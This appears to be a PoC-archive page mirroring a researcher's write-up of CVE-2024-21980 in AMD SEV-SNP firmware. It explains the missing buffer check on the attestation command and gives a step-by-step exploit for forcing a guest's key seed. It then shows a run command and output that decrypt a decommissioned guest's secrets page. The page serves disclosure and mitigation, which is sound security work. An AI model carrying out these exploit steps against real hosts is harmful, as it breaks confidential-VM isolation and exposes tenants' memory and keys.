关联漏洞
标题:
AMD SEV-SNP 安全漏洞
(CVE-2024-21980)
描述:AMD SEV-SNP是美国超威半导体(AMD)公司的一个安全加密虚拟化固件。使用单个密钥来加密系统内存。 AMD SEV-SNP存在安全漏洞,该漏洞源于写入操作的不当限制允许恶意管理程序潜在地覆盖来宾的内存或UMC种子,从而导致机密性和完整性丢失。
介绍
# SEV Firmware Vulnerability
This repo contains an exploit for a vulnerability in the SEV firmware. The exploit allows decrypting arbitrary memory of an SEV-SNP guest after it's been decommissioned.
Tested on version 1.55.16 (latest as of time of writing).
## Root Cause
The SEV firmware has a table called `master_handler_table` containing function pointers for all commands with a few more properties relevant for the commands. Two of those additional properties are `cmd_buf_type` and `snp_cmd_buf_enforcement`. `cmd_buf_type` determines whether the command buffer should be copied to and/or from host memory. `snp_cmd_buf_enforcement` determines whether these copy operations should be subject to checks verifying that memory backing the command buffer is in the `FIRMWARE` or `DEFAULT` state. Commands for which `cmd_buf_type` is either `CMD_BUF_OUTPUT_ONLY`, `CMD_BUF_INPUT_AND_OUTPUT`, or `CMD_BUF_INPUT_AND_OUTPUT_ERROR` should all have `snp_cmd_buf_enforcement` be set to true. Otherwise writing back the command output could cause memory corruption inside the RMP covered area. `snp_cmd_buf_enforcement` is true for all such commands with one exception - [`SEV_MCMD_ID_ATTESTATION`](https://github.com/amd/AMD-ASPFW/blob/3ca6650dd35d878b3fcbe5c7f58b145eed042bbf/fw/psp_bl_uapps/sev_uapp/src/sev_dispatch.c#L67): This command has `cmd_buf_type` set to `CMD_BUF_INPUT_AND_OUTPUT_ERROR`, but also has `snp_cmd_buf_enforcement` set to false. As a result it's possible to execute `SEV_MCMD_ID_ATTESTATION` with a command buffer pointing at RMP-covered memory and have that memory be corrupted once the output is written back.
It don't see why `SEV_MCMD_ID_ATTESTATION` would need to be an exception, it seems plausible to me that this could be a typo/copy-paste mistake.
## Exploit
`SEV_MCMD_ID_ATTESTATION` only writes to a single field `length` (4 bytes) in the command buffer and so those are the only bytes we can use to corrupt memory. `SEV_MCMD_ID_ATTESTATION` always writes the same value - `0x000000d0`. Fortunately there are no alignment requirements on the command buffer and so we can shift the command buffer repeatedly to corrupt a larger range of contigious memory. We'll use this to corrupt the first 16 bytes of a guest context page with a static pattern. Those first 16 bytes contain the UMC key seed and so by forcing it to a static value, we can force the guest's encryption key to a static value.
The exploit provided here is heavily based on the one I provided for SWPSIRT-2684/CVE-2023-31355.
To exploit the vulnerability we can execute the following steps:
1. Launch an SEV or SEV-ES guest. This is needed for `SEV_MCMD_ID_ATTESTATION`. Keep this guest running.
2. Create a guest context page at address `0x2000` for the victim guest. Any other address in the RMP covered area would also do though a fixed address is useful for debugging.
3. Use the vulnerability to corrupt the victim guest's UMC key seed.
4. Activate the victim guest context page and launch and run the victim guest.
5. Decomission the victim guest.
6. Create a guest context page at address `0x2000` for the attacker guest. This has to be the same address used in step 1.
7. Use the vulnerability to corrupt the attacker guest's UMC key seed.
8. Activate the attacker guest context page and launch with the debug flag enabled.
9. Assign the victim guest's memory to the attacker guest.
10. Use the `SNP_DBG_ENCRYPT` command to decrypt the victim guest's memory using the attacker guest's context page. This will succeed because the victim guest and the attacker guest share a UMC key seed.
## Impact
The impact here should be at least the same as with SWPSIRT-2684. It's unclear to me at this time if this bug can be used to decrypt memory of a running guest before it's been decommissioned.
## Mitigation
`snp_cmd_buf_enforcement` should be set to true for `SEV_MCMD_ID_ATTESTATION`.
Interestingly the Linux KVM host support patches do not need to be updates because they already list [`SEV_CMD_ATTESTATION_REPORT`](https://github.com/AMDESE/linux/blob/a72c8c30a3d99ff6cc3c48682a40faff7575165b/drivers/crypto/ccp/sev-dev.c#L818) in `sev_cmd_buf_writable` as a command that requires its command buffer to be in the `FIRMWARE` state. Changes may or may not be needed for other hypervisors.
## PoC Usage
1. Change the RMP covered area in the BIOS to 64GiB (0x10000 1-MiB pages). If your system doesn't support that, the Linux patches will have to be adjusted accordingly. The PoC has been tested on a system with 128GiB of memory.
2. Apply the patches in the linux-patches folder to the tip of https://github.com/AMDESE/linux/commits/snp-host-v10. Build, install and boot the kernel.
3. Launch a SEV or SEV-ES guest and keep it running.
4. Launch a victim SEV-SNP guest.
5. Stop the victim guest.
7. Inspect the kernel logs to find the location of the secret page created during launch.
```
root@server:~# dmesg | grep "kvm_amd: Detected secret page"
[ 463.851449] kvm_amd: Detected secret page at pfn 171a24
```
8. Run the PoC.
```
root@server:~/firmware-vuln-poc# cargo run -- --pfn 0x171a24
Finished dev [unoptimized + debuginfo] target(s) in 0.03s
Creating VM with identical UMC key seed
Raw page:
000: 0300000000000000110fa00000000000000000000000000000000000a98d95ff
020: 29d761f0c5bdc1b4b4a69fd2f37c829ca6d30d439252f7daefd72fcd45262053
040: 3c10be491d825e35ea4166261486e417187c679efcc2d2be8553f32c2c62bbf3
060: 27ac6d99214a2ce1fc37d35a94475ff377e67caacc43add86e908a9369207343
080: 14c197ffbcfade378bd1b33819051d5d3628b5eb71a0b84daefed27671e8e202
0a0: 0000000000000000000000000000000000000000000000000000000000000000
0c0: 0000000000000000000000000000000000000000000000000000000000000000
0e0: 0000000000000000000000000000000000000000000000000000000000000000
100: 000000000080008800000000eeff0000f0ffffffffffffffff3f000000000000
120: 0000000000000000000000000000000000000000000000000000000000000000
140: 0000000000000000000000000000000000000000000000000000000000000000
160: c800000000000000000000000000000000000000000000000000000000000000
180: 0000000000000000000000000000000000000000000000000000000000000000
1a0: 0000000000000000000000000000000000000000000000000000000000000000
1c0: 0000000000000000000000000000000000000000000000000000000000000000
1e0: 0000000000000000000000000000000000000000000000000000000000000000
200: 0000000000000000000000000000000000000000000000000000000000000000
220: 0000000000000000000000000000000000000000000000000000000000000000
240: 0000000000000000000000000000000000000000000000000000000000000000
260: 0000000000000000000000000000000000000000000000000000000000000000
280: 0000000000000000000000000000000000000000000000000000000000000000
2a0: 0000000000000000000000000000000000000000000000000000000000000000
2c0: 0000000000000000000000000000000000000000000000000000000000000000
2e0: 0000000000000000000000000000000000000000000000000000000000000000
300: 0000000000000000000000000000000000000000000000000000000000000000
320: 0000000000000000000000000000000000000000000000000000000000000000
340: 0000000000000000000000000000000000000000000000000000000000000000
360: 0000000000000000000000000000000000000000000000000000000000000000
380: 0000000000000000000000000000000000000000000000000000000000000000
3a0: 0000000000000000000000000000000000000000000000000000000000000000
3c0: 0000000000000000000000000000000000000000000000000000000000000000
3e0: 0000000000000000000000000000000000000000000000000000000000000000
400: 0000000000000000000000000000000000000000000000000000000000000000
420: 0000000000000000000000000000000000000000000000000000000000000000
440: 0000000000000000000000000000000000000000000000000000000000000000
460: 0000000000000000000000000000000000000000000000000000000000000000
480: 0000000000000000000000000000000000000000000000000000000000000000
4a0: 0000000000000000000000000000000000000000000000000000000000000000
4c0: 0000000000000000000000000000000000000000000000000000000000000000
4e0: 0000000000000000000000000000000000000000000000000000000000000000
500: 0000000000000000000000000000000000000000000000000000000000000000
520: 0000000000000000000000000000000000000000000000000000000000000000
540: 0000000000000000000000000000000000000000000000000000000000000000
560: 0000000000000000000000000000000000000000000000000000000000000000
580: 0000000000000000000000000000000000000000000000000000000000000000
5a0: 0000000000000000000000000000000000000000000000000000000000000000
5c0: 0000000000000000000000000000000000000000000000000000000000000000
5e0: 0000000000000000000000000000000000000000000000000000000000000000
600: 0000000000000000000000000000000000000000000000000000000000000000
620: 0000000000000000000000000000000000000000000000000000000000000000
640: 0000000000000000000000000000000000000000000000000000000000000000
660: 0000000000000000000000000000000000000000000000000000000000000000
680: 0000000000000000000000000000000000000000000000000000000000000000
6a0: 0000000000000000000000000000000000000000000000000000000000000000
6c0: 0000000000000000000000000000000000000000000000000000000000000000
6e0: 0000000000000000000000000000000000000000000000000000000000000000
700: 0000000000000000000000000000000000000000000000000000000000000000
720: 0000000000000000000000000000000000000000000000000000000000000000
740: 0000000000000000000000000000000000000000000000000000000000000000
760: 0000000000000000000000000000000000000000000000000000000000000000
780: 0000000000000000000000000000000000000000000000000000000000000000
7a0: 0000000000000000000000000000000000000000000000000000000000000000
7c0: 0000000000000000000000000000000000000000000000000000000000000000
7e0: 0000000000000000000000000000000000000000000000000000000000000000
800: 0000000000000000000000000000000000000000000000000000000000000000
820: 0000000000000000000000000000000000000000000000000000000000000000
840: 0000000000000000000000000000000000000000000000000000000000000000
860: 0000000000000000000000000000000000000000000000000000000000000000
880: 0000000000000000000000000000000000000000000000000000000000000000
8a0: 0000000000000000000000000000000000000000000000000000000000000000
8c0: 0000000000000000000000000000000000000000000000000000000000000000
8e0: 0000000000000000000000000000000000000000000000000000000000000000
900: 0000000000000000000000000000000000000000000000000000000000000000
920: 0000000000000000000000000000000000000000000000000000000000000000
940: 0000000000000000000000000000000000000000000000000000000000000000
960: 0000000000000000000000000000000000000000000000000000000000000000
980: 0000000000000000000000000000000000000000000000000000000000000000
9a0: 0000000000000000000000000000000000000000000000000000000000000000
9c0: 0000000000000000000000000000000000000000000000000000000000000000
9e0: 0000000000000000000000000000000000000000000000000000000000000000
a00: 0000000000000000000000000000000000000000000000000000000000000000
a20: 0000000000000000000000000000000000000000000000000000000000000000
a40: 0000000000000000000000000000000000000000000000000000000000000000
a60: 0000000000000000000000000000000000000000000000000000000000000000
a80: 0000000000000000000000000000000000000000000000000000000000000000
aa0: 0000000000000000000000000000000000000000000000000000000000000000
ac0: 0000000000000000000000000000000000000000000000000000000000000000
ae0: 0000000000000000000000000000000000000000000000000000000000000000
b00: 0000000000000000000000000000000000000000000000000000000000000000
b20: 0000000000000000000000000000000000000000000000000000000000000000
b40: 0000000000000000000000000000000000000000000000000000000000000000
b60: 0000000000000000000000000000000000000000000000000000000000000000
b80: 0000000000000000000000000000000000000000000000000000000000000000
ba0: 0000000000000000000000000000000000000000000000000000000000000000
bc0: 0000000000000000000000000000000000000000000000000000000000000000
be0: 0000000000000000000000000000000000000000000000000000000000000000
c00: 0000000000000000000000000000000000000000000000000000000000000000
c20: 0000000000000000000000000000000000000000000000000000000000000000
c40: 0000000000000000000000000000000000000000000000000000000000000000
c60: 0000000000000000000000000000000000000000000000000000000000000000
c80: 0000000000000000000000000000000000000000000000000000000000000000
ca0: 0000000000000000000000000000000000000000000000000000000000000000
cc0: 0000000000000000000000000000000000000000000000000000000000000000
ce0: 0000000000000000000000000000000000000000000000000000000000000000
d00: 0000000000000000000000000000000000000000000000000000000000000000
d20: 0000000000000000000000000000000000000000000000000000000000000000
d40: 0000000000000000000000000000000000000000000000000000000000000000
d60: 0000000000000000000000000000000000000000000000000000000000000000
d80: 0000000000000000000000000000000000000000000000000000000000000000
da0: 0000000000000000000000000000000000000000000000000000000000000000
dc0: 0000000000000000000000000000000000000000000000000000000000000000
de0: 0000000000000000000000000000000000000000000000000000000000000000
e00: 0000000000000000000000000000000000000000000000000000000000000000
e20: 0000000000000000000000000000000000000000000000000000000000000000
e40: 0000000000000000000000000000000000000000000000000000000000000000
e60: 0000000000000000000000000000000000000000000000000000000000000000
e80: 0000000000000000000000000000000000000000000000000000000000000000
ea0: 0000000000000000000000000000000000000000000000000000000000000000
ec0: 0000000000000000000000000000000000000000000000000000000000000000
ee0: 0000000000000000000000000000000000000000000000000000000000000000
f00: 0000000000000000000000000000000000000000000000000000000000000000
f20: 0000000000000000000000000000000000000000000000000000000000000000
f40: 0000000000000000000000000000000000000000000000000000000000000000
f60: 0000000000000000000000000000000000000000000000000000000000000000
f80: 0000000000000000000000000000000000000000000000000000000000000000
fa0: 0000000000000000000000000000000000000000000000000000000000000000
fc0: 0000000000000000000000000000000000000000000000000000000000000000
fe0: 0000000000000000000000000000000000000000000000000000000000000000
Secrets page:
imi_en: false
FMS: 00a00f11
gosvw: 000000000000000000000000a98d95ff
vmpck0: 29d761f0c5bdc1b4b4a69fd2f37c829ca6d30d439252f7daefd72fcd45262053
vmpck1: 3c10be491d825e35ea4166261486e417187c679efcc2d2be8553f32c2c62bbf3
vmpck2: 27ac6d99214a2ce1fc37d35a94475ff377e67caacc43add86e908a9369207343
vmpck3: 14c197ffbcfade378bd1b33819051d5d3628b5eb71a0b84daefed27671e8e202
VMSA tweak bitmap: 000000000080008800000000eeff0000f0ffffffffffffffff3f0000000000000000000000000000000000000000000000000000000000000000000000000000
tsc_factor: 200
```
Note that there's nothing special about secret pages, this exploit can also be used to decrypt normal pages. Secret pages are used in the PoC because they have very recognizable content that makes it easy to see that decryption of victim memory has succeeded.
文件快照
[4.0K] /data/pocs/7018c7d618cac2ee92c65dbeb6f73eefd56c8c3d
├── [ 13K] Cargo.lock
├── [ 585] Cargo.toml
├── [4.0K] linux-patches
│ ├── [1.2K] 0001-don-t-fail-if-some-memory-isn-t-covered-by-the-RMP.patch
│ ├── [ 992] 0002-don-t-mark-0-as-hypervisor-fixed.patch
│ ├── [1.0K] 0003-always-use-address-0-for-guest-context-pages.patch
│ ├── [2.0K] 0004-add-definitions-for-the-ring-buffer-command.patch
│ ├── [6.7K] 0005-implement-attack-code.patch
│ ├── [1.1K] 0006-log-leak-locations-of-secret-pages.patch
│ └── [2.8K] 0007-add-ioctl-for-decrypting-pfns.patch
├── [ 15K] README.md
└── [4.0K] src
├── [5.1K] kvm.rs
├── [2.5K] main.rs
├── [4.0K] snp_types
│ ├── [2.1K] guest_policy.rs
│ └── [1.2K] secrets.rs
└── [ 937] snp_types.rs
3 directories, 15 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。